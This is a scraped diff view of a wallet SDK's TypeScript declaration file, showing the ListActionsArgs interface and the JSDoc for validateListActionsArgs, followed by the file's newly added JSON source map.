282
|
+
includeInputUnlockingScripts: BooleanDefaultFalse;
|
|
283
|
+
includeOutputs: BooleanDefaultFalse;
|
|
284
|
+
includeOutputLockingScripts: BooleanDefaultFalse;
|
|
285
|
+
limit: PositiveIntegerDefault10Max10000;
|
|
286
|
+
offset: PositiveIntegerOrZero;
|
|
287
|
+
seekPermission: BooleanDefaultTrue;
|
|
288
|
+
}
|
|
289
|
+
/**
|
|
290
|
+
* @param {LabelStringUnder300Bytes[]} args.labels - An array of labels used to filter actions.
|
|
291
|
+
* @param {'any' | 'all'} [args.labelQueryMode] - Optional. Specifies how to match labels (default is any which matches any of the labels).
|
|
292
|
+
* @param {BooleanDefaultFalse} [args.includeLabels] - Optional. Whether to include transaction labels in the result set.
|
|
293
|
+
* @param {BooleanDefaultFalse} [args.includeInputs] - Optional. Whether to include input details in the result set.
|
|
294
|
+
* @param {BooleanDefaultFalse} [args.includeInputSourceLockingScripts] - Optional. Whether to include input source locking scripts in the result set.
|
|
295
|
+
* @param {BooleanDefaultFalse} [args.includeInputUnlockingScripts] - Optional. Whether to include input unlocking scripts in the result set.
|
|
296
|
+
* @param {BooleanDefaultFalse} [args.includeOutputs] - Optional. Whether to include output details in the result set.
|
|
297
|
+
* @param {BooleanDefaultFalse} [args.includeOutputLockingScripts] - Optional. Whether to include output locking scripts in the result set.
|
|
298
|
+
* @param {PositiveIntegerDefault10Max10000} [args.limit] - Optional. The maximum number of transactions to retrieve.
|
|
299
|
+
* @param {PositiveIntegerOrZero} [args.offset] - Optional. Number of transactions to skip before starting to return the results.
|
|
300
|
+
* @param {BooleanDefaultTrue} [args.seekPermission] — Optional. Whether to seek permission from the user for this operation if required. Default true, will return an error rather than proceed if set to false.
|
|
301
|
+
*/
|
|
302
|
+
export declare function validateListActionsArgs(args: ListActionsArgs): ValidListActionsArgs;
|
|
303
|
+
//# sourceMappingURL=validationHelpers.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"validationHelpers.d.ts","sourceRoot":"","sources":["../../../src/sdk/validationHelpers.ts"],"names":[],"mappings":"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"}
|